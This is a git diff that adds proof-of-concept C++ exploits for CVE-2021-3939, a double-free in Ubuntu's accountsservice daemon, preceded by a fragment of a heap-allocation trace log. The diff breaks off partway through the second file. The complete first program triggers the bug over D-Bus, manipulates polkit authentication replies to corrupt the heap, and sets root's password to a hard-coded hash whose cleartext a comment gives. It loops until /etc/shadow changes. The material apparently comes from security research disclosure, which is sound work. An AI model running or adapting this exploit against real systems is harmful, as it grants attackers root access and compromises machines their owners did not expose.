+095: 0x0000564cfbd364d0 set email       (1x)
+096: 0x0000564cfbd28480 set password    (1x)
+097: 0x0000564cfbd364f0 set email       (1x)
+098: 0x0000564cfbd34270 set password    (1x)
+099: 0x0000564cfbd35520 set email       (1x)
+100: 0x0000564cfbd32ae0 set password    (1x)
+101: 0x0000564cfbd34080 set email       (1x)
+102: 0x0000564cfbd34300 set password    (1x)
+103: 0x0000564cfbd37310 set email       (1x)
+104: 0x0000564cfbd36310 set password    (1x)
+105: 0x0000564cfbd362a0 set email       (1x)
+106: 0x0000564cfbd37680 set password    (1x)
+107: 0x0000564cfbd35760 set email       (1x)
+108: 0x0000564cfbd38300 set password    (1x)
+109: 0x0000564cfbd34650 set email       (1x)
+110: 0x0000564cfbd3b7e0 set password    (1x)
+111: 0x0000564cfbd3a580 set email       (1x)
+112: 0x0000564cfbd393a0 set password    (1x)
+113: 0x0000564cfbd35570 set email       (1x)
+114: 0x0000564cfbd3c410 set password    (1x)
+115: 0x0000564cfbd3c430 set email       (1x)
+116: 0x0000564cfbc81670 set password cb (2x)    <=== denied (012)
+117: 0x0000564cfbd3c5a0 set password    (1x)
+118: 0x0000564cfbd3b450 set email       (1x)
+119: 0x0000564cfbd38470 set password    (1x)
+120: 0x0000564cfbd3ed50 set email       (1x)
+121: 0x0000564cfbd0f440 set password    (1x)
+122: 0x0000564cfbc847c0 set email       (1x)
+123: 0x0000564cfbd3eff0 set password    (1x)
+124: 0x0000564cfbd39b30 set email       (1x)
+125: 0x0000564cfbd39330 set password    (1x)
+126: 0x0000564cfbd327c0 set email       (1x)
+127: 0x0000564cfbd402c0 set password    (1x)
+128: 0x0000564cfbd40430 set email       (1x)
+129: 0x0000564cfbd40240 set password    (1x)
+130: 0x0000564cfbd41300 set email       (1x)
+131: 0x0000564cfbd3ee60 set password    (1x)
+132: 0x0000564cfbd414a0 set email       (1x)
+133: 0x0000564cfbd41400 set password    (1x)
+134: 0x0000564cfbd43ad0 set email       (1x)
+135: 0x0000564cfbd43300 set password    (1x)
+136: 0x0000564cfbd41080 set email       (1x)
+137: 0x0000564cfbd3edc0 set password    (1x)
+138: 0x0000564cfbd44740 set email       (1x)
+139: 0x0000564cfbd44320 set password    (1x)
+140: 0x0000564cfbd43370 set email       (1x)
+141: 0x0000564cfbd41030 set password    (1x)
+142: 0x0000564cfbd323f0 set email       (1x)
+143: 0x0000564cfbd41620 set password    (1x)
+144: 0x0000564cfbd446e0 set email       (1x)
+145: 0x0000564cfbd3ef30 set password    (1x)
+146: 0x0000564cfbd47450 set email       (1x)
+147: 0x0000564cfbd474d0 set password    (1x)
+148: 0x0000564cfbd44610 set email       (1x)
+149: 0x0000564cfbd47470 set password    (1x)
+150: 0x0000564cfbc903e0 set password cb (1x)    <=== denied (017)
+151: 0x0000564cfbd476a0 set email       (1x)
+152: 0x0000564cfbd493e0 set password    (1x)
+153: 0x0000564cfbd49590 set email       (1x)
+154: 0x0000564cfbd47410 set password    (1x)
+155: 0x0000564cfbd498b0 set email       (1x)
+156: 0x0000564cfbd323d0 set password    (1x)
+157: 0x0000564cfbd47110 set email       (1x)
+158: 0x0000564cfbc927e0 set email cb    (2x)    <=== approved (021)
+159: 0x0000564cfbc7a600 set email cb    (2x)    <=== approved (023)
+160: 0x0000564cfbd1e740 set email cb    (2x)    <=== approved (025)
+161: 0x0000564cfbd23e80 set email cb    (2x)    <=== approved (027)
+162: 0x0000564cfbc8e4c0 set email cb    (5x)    <=== [vuln chunk] approval of 029, but has been overwritten by 061
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp
new file mode 100644
index 0000000..2a037bb
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp
@@ -0,0 +1,642 @@
+#include "dbus_utils.hpp"
+#include "dbus_auth.hpp"
+#include "parse.hpp"
+#include "utils.hpp"
+#include <pwd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/un.h>
+#include <sys/wait.h>
+#include <dirent.h>
+#include <errno.h>
+#include <spawn.h>
+#include <signal.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <pty.h>
+#include <fcntl.h>
+#include <functional>
+#include <memory>
+#include <utility>
+#include <iostream>
+#include <set>
+#include <random>
+#include <assert.h>
+
+static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon";
+static const char* etc_shadow_path = "/etc/shadow";
+
+// Return true if the timespecs are equal.
+static bool timespec_eq(const timespec& t1, const timespec& t2) {
+  return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec;
+}
+
+// This class creates an array containing the names of all the files in a
+// directory. It does this by running `scandirat` in its constructor.
+class ScanDirAt {
+  struct dirent **namelist_;
+  const int n_;
+
+public:
+  explicit ScanDirAt(int fd)
+    : n_(scandirat(fd, ".", &namelist_, NULL, alphasort))
+  {
+    if (n_ < 0) {
+      throw ErrorWithErrno("ScanDirAt failed.");
+    }
+  }
+
+  ~ScanDirAt();
+
+  int size() const { return n_; }
+
+  const char* get(int i) const { return namelist_[i]->d_name; }
+};
+
+ScanDirAt::~ScanDirAt() {
+  if (n_ >= 0) {
+    for (int i = 0; i < n_; i++) {
+      free(namelist_[i]);
+    }
+    free(namelist_);
+  }
+}
+
+// Search `/proc/*/cmdline` to find the PID of a running program.
+static std::vector<pid_t> search_pids(const char *cmdline, size_t cmdline_len) {
+  AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC));
+  if (procdir_fd.get() < 0) {
+    throw ErrorWithErrno("Could not open /proc.");
+  }
+  ScanDirAt scanDir(procdir_fd.get());
+
+  const int n = scanDir.size();
+  std::vector<pid_t> result;
+  for (int i = 0; i < n; i++) {
+    const char* subdir_name = scanDir.get(i);
+    AutoCloseFD subdir_fd(
+      openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC)
+    );
+    if (procdir_fd.get() < 0) {
+      continue;
+    }
+    AutoCloseFD cmdline_fd(
+      openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC)
+    );
+    if (cmdline_fd.get() < 0) {
+      continue;
+    }
+
+    // Check if the command line matches.
+    char buf[0x1000];
+    ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf));
+    if (r < 0 || static_cast<size_t>(r) < cmdline_len) {
+      continue;
+    }
+    if (memcmp(buf, cmdline, cmdline_len) == 0) {
+      // The name of the sub-directory is the PID.
+      result.push_back(atoi(subdir_name));
+    }
+  }
+  return result;
+}
+
+static pid_t search_pid(const char *cmdline, size_t cmdline_len) {
+  std::vector<pid_t> pids = search_pids(cmdline, cmdline_len);
+  if (pids.size() == 1) {
+    return pids[0];
+  }
+  return -1;
+}
+
+class DBusSocket : public AutoCloseFD {
+public:
+  DBusSocket(const uid_t uid, const char* filename) :
+    AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
+  {
+    if (get() < 0) {
+      throw ErrorWithErrno("Could not create socket");
+    }
+
+    sockaddr_un address;
+    memset(&address, 0, sizeof(address));
+    address.sun_family = AF_UNIX;
+    strcpy(address.sun_path, filename);
+
+    if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
+      throw ErrorWithErrno("Could not connect socket");
+    }
+
+    dbus_sendauth(uid, get());
+
+    dbus_send_hello(get());
+    std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
+    std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
+    std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
+  }
+};
+
+static std::string getHomeDir(uid_t uid) {
+  FILE *fp = fopen("/etc/passwd", "r");
+  char buf[4096] = {};
+  struct passwd pw;
+  struct passwd *pwp;
+  while (true) {
+    if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) {
+      fclose(fp);
+      char errmsg[256];
+      snprintf(
+        errmsg, sizeof(errmsg),
+        "Could not find UID %u in /etc/passwd.",
+        uid
+      );
+      throw Error(errmsg);
+    }
+    if (uid == pw.pw_uid) {
+      fclose(fp);
+      return _s(pw.pw_dir);
+    }
+  }
+}
+
+static std::string send_accountsservice_FindUserById(
+  const int fd,
+  const uint32_t serialNumber,
+  const uid_t uid
+) {
+  printf("send_accountsservice_FindUserById: (serial %u) uid = %u\n", serialNumber, uid);
+
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectInt64::mk(uid)
+      )
+    ),
+    _s("/org/freedesktop/Accounts"),
+    _s("org.freedesktop.Accounts"),
+    _s("org.freedesktop.Accounts"),
+    _s("FindUserById")
+  );
+
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
+
+  if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
+    throw Error("FindUserById returned an error.");
+  }
+
+  return reply->getBody().getElement(0)->toPath().getValue();
+}
+
+static void send_accountsservice_SetPassword(
+  const int fd,
+  const char* userpath,
+  const char* password,
+  const char* hint,
+  const uint32_t serialNumber
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectString::mk(_s(password)),
+        DBusObjectString::mk(_s(hint))
+      )
+    ),
+    _s(userpath),
+    _s("org.freedesktop.Accounts.User"),
+    _s("org.freedesktop.Accounts"),
+    _s("SetPassword")
+  );
+
+  // Don't wait for reply here because it's blocked on polkit.
+}
+
+static void send_accountsservice_set_property(
+  const int fd,
+  const uint32_t serialNumber,
+  const char* userpath,
+  const char* command,
+  const char* value
+) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        DBusObjectString::mk(_s(value))
+      )
+    ),
+    _s(userpath),
+    _s("org.freedesktop.Accounts.User"),
+    _s("org.freedesktop.Accounts"),
+    _s(command)
+  );
+
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
+
+  if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
+    throw Error("set_property returned an error.");
+  }
+}
+
+// Information that can be gathered once when we first start executing.
+class ProgramInfo {
+public:
+  // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket)
+  const char* dbus_socket_path_;
+
+  // UID and PID of this process.
+  const uid_t uid_;
+  const pid_t pid_;
+
+  // Start time of the process. (Needed to register as an authentication agent.)
+  const uint64_t start_time_;
+
+  const std::string homedir_;
+
+  explicit ProgramInfo(const char* dbus_socket_path) :
+    dbus_socket_path_(dbus_socket_path),
+    uid_(getuid()),
+    pid_(getpid()),
+    start_time_(process_start_time(pid_)),
+    homedir_(getHomeDir(uid_))
+  {
+    printf("uid: %u\n", uid_);
+    printf("pid: %u\n", pid_);
+    printf("home dir: %s\n", homedir_.c_str());
+  }
+};
+
+static void send_polkit_RegisterAuthenticationAgent(
+  const ProgramInfo& info,
+  const int fd,
+  const uint32_t serialNumber
+) {
+  std::unique_ptr<DBusMessageBody> body =
+    DBusMessageBody::mk(
+      _vec<std::unique_ptr<DBusObject>>(
+        // Subject
+        DBusObjectStruct::mk(
+          _vec<std::unique_ptr<DBusObject>>(
+            DBusObjectString::mk(_s("unix-process")), // subject_kind
+            DBusObjectArray::mk1(
+              _vec<std::unique_ptr<DBusObject>>(
+                DBusObjectDictEntry::mk(
+                  DBusObjectString::mk(_s("pid")),
+                  DBusObjectVariant::mk(
+                    DBusObjectUint32::mk(info.pid_)
+                  )
+                ),
+                DBusObjectDictEntry::mk(
+                  DBusObjectString::mk(_s("uid")),
+                  DBusObjectVariant::mk(
+                    DBusObjectInt32::mk(info.uid_)
+                  )
+                ),
+                DBusObjectDictEntry::mk(
+                  DBusObjectString::mk(_s("start-time")),
+                  DBusObjectVariant::mk(
+                    DBusObjectUint64::mk(info.start_time_)
+                  )
+                )
+              )
+            )
+          )
+        ),
+        DBusObjectString::mk(_s("en")), // locale
+        DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path
+      )
+    );
+
+  dbus_method_call(
+    fd,
+    serialNumber,
+    std::move(body),
+    _s("/org/freedesktop/PolicyKit1/Authority"),
+    _s("org.freedesktop.PolicyKit1.Authority"),
+    _s("org.freedesktop.PolicyKit1"),
+    _s("RegisterAuthenticationAgent")
+  );
+
+  std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
+
+  if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
+    throw Error("RegisterAuthenticationAgent returned an error.");
+  }
+}
+
+// Sends an error reply back to the "BeginAuthentication" message that we
+// received from polkit. This cancels the authentication so that polkit
+// will deny the request. (Sometimes we want to deliberately delay the
+// cancellation for a bit, so this allows us to control that.)
+static void polkit_cancel_auth(
+  const int fd, const uint32_t serialNumber, const DBusMessage& request
+) {
+  const std::string& sender =
+    request.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue();
+
+  // Send error request
+  dbus_method_error_reply(
+    fd,
+    serialNumber,
+    request.getHeader_serialNumber(),
+    _s(sender),
+    _s("org.freedesktop.PolicyKit1.Error.Cancelled")
+  );
+}
+
+class Run {
+  const ProgramInfo& info_;
+
+  const std::string pam_env_path_;
+
+  // We're going to exchange messages with polkit and accounts-daemon.
+  // This is lazy coding, but the logic is simplier if we use two
+  // separate sockets.
+  const DBusSocket polkit_fd_;
+  const DBusSocket accounts_fd_;
+
+  uint32_t serialNumber_;
+
+  // Usually something like /org/freedesktop/Accounts/User1001
+  const std::string my_objectpath_;
+
+public:
+  explicit Run(const ProgramInfo& info) :
+    info_(info),
+    pam_env_path_(info_.homedir_ + _s("/.pam_environment")),
+    polkit_fd_(info_.uid_, info_.dbus_socket_path_),
+    accounts_fd_(info_.uid_, info_.dbus_socket_path_),
+    serialNumber_(1000),
+    my_objectpath_(
+      send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, info_.uid_)
+    )
+  {}
+
+  // This function triggers the bug by removing `~/.pam_environment` and
+  // calling the "SetLanguage" method.
+  void trigger_bug() {
+    unlink(pam_env_path_.c_str());
+    try {
+      send_accountsservice_set_property(
+        accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(),
+        "SetLanguage", "kevwozere"
+      );
+    } catch(Error&) {
+      // An error is quite likely, so ignore it.
+    }
+  }
+
+  // We use this function to make sure that we're starting from a clean slate.
+  // It makes the exploit a bit less unreliable.
+  void restart_accounts_daemon() {
+    while (true) {
+      const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+      if (pid < 0) {
+        printf("accounts-daemon is not running\n");
+        break;
+      }
+      printf("accounts-daemon PID: %d\n", pid);
+      trigger_bug();
+
+      // Sleep for 0.2 seconds, to give accounts-daemon a chance to crash.
+      timespec duration = {};
+      duration.tv_sec = 0;
+      duration.tv_nsec = 500000000;
+      clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
+    }
+  }
+
+  void attempt_exploit(
+    const size_t batch_size1,
+    const size_t batch_size2
+  ) {
+    restart_accounts_daemon();
+
+    send_polkit_RegisterAuthenticationAgent(info_, polkit_fd_.get(), serialNumber_++);
+
+    // By default, accountsservice does not register the root user. This triggers it.
+    const std::string root_objectpath =
+      send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, 0);
+
+    const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+    printf("Starting exploit. PID: %u\n", pid);
+
+    // Trigger the bug.
+    trigger_bug();
+
+    // This is declared outside of the loop because we want to remember the
+    // the last value that it's set to.
+    char email[64] = "kevwozere@kevwozere.com";
+
+    // Try to occupy the chunk.
+    for (size_t i = 0; i < batch_size1; i++) {
+      // Changing the email address triggers a call to `save_extra_data`,
+      // which causes a bunch of memory to be allocated and freed, but
+      // without increasing the total memory usage. (At least, I haven't
+      // noticed any memory leaks in that code.) So by jumbling the memory
+      // up, it will hopefully increase the chance that one of the calls
+      // to SetPassword will allocate the chunk that we want it to.
+      snprintf(email, sizeof(email),
+               "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i
+      );
+      send_accountsservice_set_property(
+        accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(),
+        "SetEmail", email
+      );
+
+      // The password and hint are sized so that they will require a chunk
+      // bigger than size 0x40.
+      const char* password =
+               "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef";
+      const char* hint =
+               "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF";
+      send_accountsservice_SetPassword(
+        accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++
+      );
+    }
+
+    // We expect to receive one polkit "BeginAuthentication" for each
+    // "SetPassword" message that we sent.
+    std::vector<std::unique_ptr<DBusMessage>> polkit_requests_batch1;
+    polkit_requests_batch1.reserve(batch_size1);
+    for (size_t i = 0; i < batch_size1; i++) {
+      polkit_requests_batch1.push_back(receive_dbus_message(polkit_fd_.get()));
+    }
+
+    // Trigger the bug a second time. If things are going to plan
+    // then the chunk currently contains the memory that was allocated
+    // by `user_set_password`. We can control when `free_passwords`
+    // gets called on it by releasing `polkit_requests_batch1`.
+    trigger_bug();
+
+    for (size_t i = 0; i < batch_size2; i++) {
+      // Changing the email address triggers a call to `save_extra_data`,
+      // which causes a bunch of memory to be allocated and freed, but
+      // without increasing the total memory usage. (At least, I haven't
+      // noticed any memory leaks in that code.) So by jumbling the memory
+      // up, it will hopefully increase the chance that one of the calls
+      // to SetPassword will allocate the chunk that we want it to.
+      snprintf(email, sizeof(email),
+               "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i
+      );
+      send_accountsservice_set_property(
+        accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(),
+        "SetEmail", email
+      );
+
+      // The password and hint are sized so that they will require a chunk
+      // of size 0x40.
+      const char* password =
+               "0123456789abcdef0123456789abcdef0123456789abcdef";
+      const char* hint =
+               "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF";
+      send_accountsservice_SetPassword(
+        accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++
+      );
+    }
+
+    // Reject all of the authentication requests from the first batch.
+    for (size_t i = 0; i < batch_size1; i++) {
+      polkit_cancel_auth(polkit_fd_.get(), serialNumber_++, *polkit_requests_batch1[i]);
+
+      // We should get an error response back from accounts-daemon.
+      std::unique_ptr<DBusMessage> reply = receive_dbus_message(accounts_fd_.get());
+      if (reply->getHeader_messageType() != MSGTYPE_ERROR) {
+        throw Error("Did not get the error response that we expected.");
+      }
+      // The error message should be org.freedesktop.Accounts.Error.PermissionDenied.
+      // If it isn't then account-daemon probably crashed.
+      const std::string& errmsg =
+        reply->getHeader_lookupField(MSGHDR_ERROR_NAME).getValue()->toString().getValue();
+      if (errmsg != _s("org.freedesktop.Accounts.Error.PermissionDenied")) {
+        throw Error(_s(errmsg));
+      }
+    }
+
+    // We expect to receive one polkit "BeginAuthentication" for each
+    // "SetPassword" message that we sent in the second batch.
+    std::vector<std::unique_ptr<DBusMessage>> polkit_requests_batch2;
+    polkit_requests_batch2.reserve(batch_size2);
+    for (size_t i = 0; i < batch_size2; i++) {
+      if (search_pid(accounts_daemon, sizeof(accounts_daemon)) != pid) {
+        throw Error("accounts-daemon crash");
+      }
+      polkit_requests_batch2.push_back(receive_dbus_message(polkit_fd_.get()));
+    }
+
+    // Send a bunch of requests that will be approved by polkit (because
+    // they only require org.freedesktop.accounts.change-own-user-data
+    // permission). We're hoping that the auth data that is allocated for
+    // one of these in `daemon_local_check_auth` (in an 0x40 chunk size)
+    // will get freed before it is approved and overwritten with the auth
+    // data for one of the subsequent SetPassword requests.
+    // We alternate between the different messages because the timing
+    // of when things will happen is very difficult to predict, so we
+    // just have to rely on luck.
+    for (size_t i = 0; i < batch_size2 + 64; i++) {
+      // Reject all of the authentication requests from the second batch.
+      // This will hopefully cause a double free of one of the 0x40 chunks.
+      if (i < batch_size2) {
+        polkit_cancel_auth(polkit_fd_.get(), serialNumber_++, *polkit_requests_batch2[i]);
+      }
+
+      // Note: this sends the same email address as we sent earlier (on the
+      // final iteration of the batch1 loop). That's because we don't want
+      // `user_change_email_authorized_cb` to call `save_extra_data`, which
+      // would cause a bunch of memory churn that we don't want.
+      dbus_method_call(
+        accounts_fd_.get(),
+        serialNumber_++,
+        DBusMessageBody::mk(
+          _vec<std::unique_ptr<DBusObject>>(
+            DBusObjectString::mk(_s(email))
+          )
+        ),
+        _s(my_objectpath_),
+        _s("org.freedesktop.Accounts.User"),
+        _s("org.freedesktop.Accounts"),
+        _s("SetEmail")
+      );
+
+      // password: iaminvincible!
+      const char* password =
+        "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB";
+      const char* hint = "GoldenEye";
+      send_accountsservice_SetPassword(
+        accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++
+      );
+    }
+
+    // Give the messages a chance to get processed before we disconnect.
+    sleep(2);
+    printf("Finished iteration\n\n");
+  }
+};
+
+int main(int argc, char* argv[]) {
+  const char* progname = argc > 0 ? argv[0] : "a.out";
+  if (argc != 2) {
+    fprintf(
+      stderr,
+      "usage:   %s <unix socket>\n"
+      "example: %s /var/run/dbus/system_bus_socket\n",
+      progname,
+      progname
+    );
+    return EXIT_FAILURE;
+  }
+
+  const char* dbus_socket_path = argv[1];
+
+  try {
+    // std::random is used to vary the batch sizes on each run, because
+    // it's difficult to know which batch sizes are the most likely to
+    // succeed.
+    std::random_device rd;
+    std::mt19937 gen(rd());
+    std::uniform_int_distribution<> distrib(1, 64);
+
+    ProgramInfo info(dbus_socket_path);
+
+    // When the poc is successful, the root user's password is set,
+    // which causes /etc/shadow to be modified. So we can use stat
+    // to detect when the exploit was successful.
+    struct stat statorig;
+    stat(etc_shadow_path, &statorig);
+
+    while(true) {
+      try {
+        Run run(info);
+        const size_t batch_size1 = distrib(gen);
+        const size_t batch_size2 = distrib(gen);
+        printf("batch sizes: %ld %ld\n", batch_size1, batch_size2);
+        run.attempt_exploit(batch_size1, batch_size2);
+      } catch (Error& e) {
+        printf("%s\n", e.what());
+        sleep(2);
+      }
+      struct stat statnew;
+      stat(etc_shadow_path, &statnew);
+      if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) {
+        printf("%s was modified!\n", etc_shadow_path);
+        break;
+      }
+    }
+  } catch (ErrorWithErrno& e) {
+    const int err = e.getErrno();
+    fprintf(stderr, "%s\n%s\n", e.what(), strerror(err));
+    return EXIT_FAILURE;
+  } catch (std::exception& e) {
+    fprintf(stderr, "%s\n", e.what());
+    return EXIT_FAILURE;
+  }
+
+  return EXIT_SUCCESS;
+}
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp
new file mode 100644
index 0000000..d03cc4c
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp
@@ -0,0 +1,846 @@
+#include <pwd.h>
+#include <sys/stat.h>
+#include <sys/un.h>
+#include <sys/wait.h>
+#include <dirent.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <random>
+#include <dbus_utils.hpp>
+#include <EPollLoopDBusHandler.hpp>
+
+static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon";
+static const char* etc_shadow_path = "/etc/shadow";
+
+// Return true if the timespecs are equal.
+bool timespec_eq(const timespec& t1, const timespec& t2) {
+  return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec;
+}
+
+// This class creates an array containing the names of all the files in a
+// directory. It does this by running `scandirat` in its constructor.
+class ScanDirAt {
+  struct dirent **namelist_;
+  const int n_;
+
+public:
+  explicit ScanDirAt(int fd)
+    : n_(scandirat(fd, ".", &namelist_, NULL, alphasort))
+  {
+    if (n_ < 0) {
+      throw ErrorWithErrno("ScanDirAt failed.");
+    }
+  }
+
+  ~ScanDirAt();
+
+  int size() const { return n_; }
+
+  const char* get(int i) const { return namelist_[i]->d_name; }
+};
+
+ScanDirAt::~ScanDirAt() {
+  if (n_ >= 0) {
+    for (int i = 0; i < n_; i++) {
+      free(namelist_[i]);
+    }
+    free(namelist_);
+  }
+}
+
+// Search `/proc/*/cmdline` to find the PID of a running program.
+static std::vector<pid_t> search_pids(const char *cmdline, size_t cmdline_len) {
+  AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC));
+  if (procdir_fd.get() < 0) {
+    throw ErrorWithErrno("Could not open /proc.");
+  }
+  ScanDirAt scanDir(procdir_fd.get());
+
+  const int n = scanDir.size();
+  std::vector<pid_t> result;
+  for (int i = 0; i < n; i++) {
+    const char* subdir_name = scanDir.get(i);
+    AutoCloseFD subdir_fd(
+      openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC)
+    );
+    if (procdir_fd.get() < 0) {
+      continue;
+    }
+    AutoCloseFD cmdline_fd(
+      openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC)
+    );
+    if (cmdline_fd.get() < 0) {
+      continue;
+    }
+
+    // Check if the command line matches.
+    char buf[0x1000];
+    ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf));
+    if (r < 0 || static_cast<size_t>(r) < cmdline_len) {
+      continue;
+    }
+    if (memcmp(buf, cmdline, cmdline_len) == 0) {
+      // The name of the sub-directory is the PID.
+      result.push_back(atoi(subdir_name));
+    }
+  }
+  return result;
+}
+
+static pid_t search_pid(const char *cmdline, size_t cmdline_len) {
+  std::vector<pid_t> pids = search_pids(cmdline, cmdline_len);
+  if (pids.size() == 1) {
+    return pids[0];
+  }
+  return -1;
+}
+
+static std::string getHomeDir(uid_t uid) {
+  FILE *fp = fopen("/etc/passwd", "r");
+  char buf[4096] = {};
+  struct passwd pw;
+  struct passwd *pwp;
+  while (true) {
+    if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) {
+      fclose(fp);
+      char errmsg[256];
+      snprintf(
+        errmsg, sizeof(errmsg),
+        "Could not find UID %u in /etc/passwd.",
+        uid
+      );
+      throw Error(errmsg);
+    }
+    if (uid == pw.pw_uid) {
+      fclose(fp);
+      return _s(pw.pw_dir);
+    }
+  }
+}
+
+// An asynchronous version of a for loop:
+//
+//  for (size_t i = start; i < end; i++) { body(i); }
+//
+static int async_loop(
+  size_t start, size_t end,
+  std::function<int(size_t i, std::function<int()>)> body,
+  std::function<int()> cb
+) {
+  if (start >= end) {
+    return cb();
+  }
+
+  return body(
+    start,
+    [start, end, body, cb]() -> int {
+      return async_loop(start+1, end, body, cb);
+    }
+  );
+}
+
+// Information that can be gathered once when we first start executing.
+class ProgramInfo {
+public:
+  // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket)
+  const char* dbus_socket_path_;
+
+  // UID and PID of this process.
+  const uid_t uid_;
+  const pid_t pid_;
+
+  // Start time of the process. (Needed to register as an authentication agent.)
+  const uint64_t start_time_;
+
+  const std::string homedir_;
+
+  explicit ProgramInfo(const char* dbus_socket_path) :
+    dbus_socket_path_(dbus_socket_path),
+    uid_(getuid()),
+    pid_(getpid()),
+    start_time_(process_start_time(pid_)),
+    homedir_(getHomeDir(uid_))
+  {
+    printf("uid: %u\n", uid_);
+    printf("pid: %u\n", pid_);
+    printf("home dir: %s\n", homedir_.c_str());
+  }
+};
+
+class PolkitHandler;
+class AccountsHandler;
+
+// This class manages the two EPoll handlers that we have open (one for
+// communicating with polkit and the other for communicating with
+// accountsservice). It enables the two handlers to call each other's
+// methods when necessary, and it also takes care of shutting the handlers
+// down. (The EPollLoop will not stop until all the handlers are
+// disconnected, so when one handler disconnects the other needs to also
+// disconnect.)
+class EPollManager {
+  EPollLoop& loop_;
+
+  // These pointers are owned by the EPollLoop. We have keep copies of them
+  // here so that we can call methods on them, and also so that we can call
+  // `EPollLoop::del_handler()` on them when we're done.
+  PolkitHandler* polkit_handler_ = nullptr;
+  AccountsHandler* accounts_handler_ = nullptr;
+
+  void del_polkit_handler();
+  void del_accounts_handler();
+
+public:
+  explicit EPollManager(EPollLoop& loop) :
+    loop_(loop)
+  {}
+
+  PolkitHandler* polkit_handler() { return polkit_handler_; }
+  AccountsHandler* accounts_handler() { return accounts_handler_; }
+
+  void set_polkit_handler(PolkitHandler* polkit_handler){
+    assert(!polkit_handler_);
+    polkit_handler_ = polkit_handler;
+  }
+
+  void set_accounts_handler(AccountsHandler* accounts_handler){
+    assert(!accounts_handler_);
+    accounts_handler_ = accounts_handler;
+  }
+
+  void polkit_delete() {
+    polkit_handler_ = nullptr;
+    stop();
+  }
+
+  void accounts_delete() {
+    accounts_handler_ = nullptr;
+    stop();
+  }
+
+  void stop() const;
+};
+
+class PolkitHandler : public DBusHandler {
+  // This struct is used to store an error reply message, which we
+  // will send later.
+  struct BatchedErrorReply {
+    const serialNumber_t replySerial_;
+    const std::string sender_;
+
+    BatchedErrorReply(
+      const serialNumber_t replySerial,
+      const std::string sender
+    ) :
+      replySerial_(replySerial),
+      sender_(sender)
+    {}
+  };
+
+  const ProgramInfo& info_;
+  EPollManager& manager_;
+
+  // We deliberately delay responding to some of the polkit requests, to
+  // control the order of operations in accountsservice. The replies are
+  // queued here.
+  std::queue<BatchedErrorReply> error_reply_queue_;
+
+private:
+  int quit() {
+    return -1;
+  }
+
+  int register_with_polkit() {
+    std::unique_ptr<DBusMessageBody> body =
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          // Subject
+          DBusObjectStruct::mk(
+            _vec<std::unique_ptr<DBusObject>>(
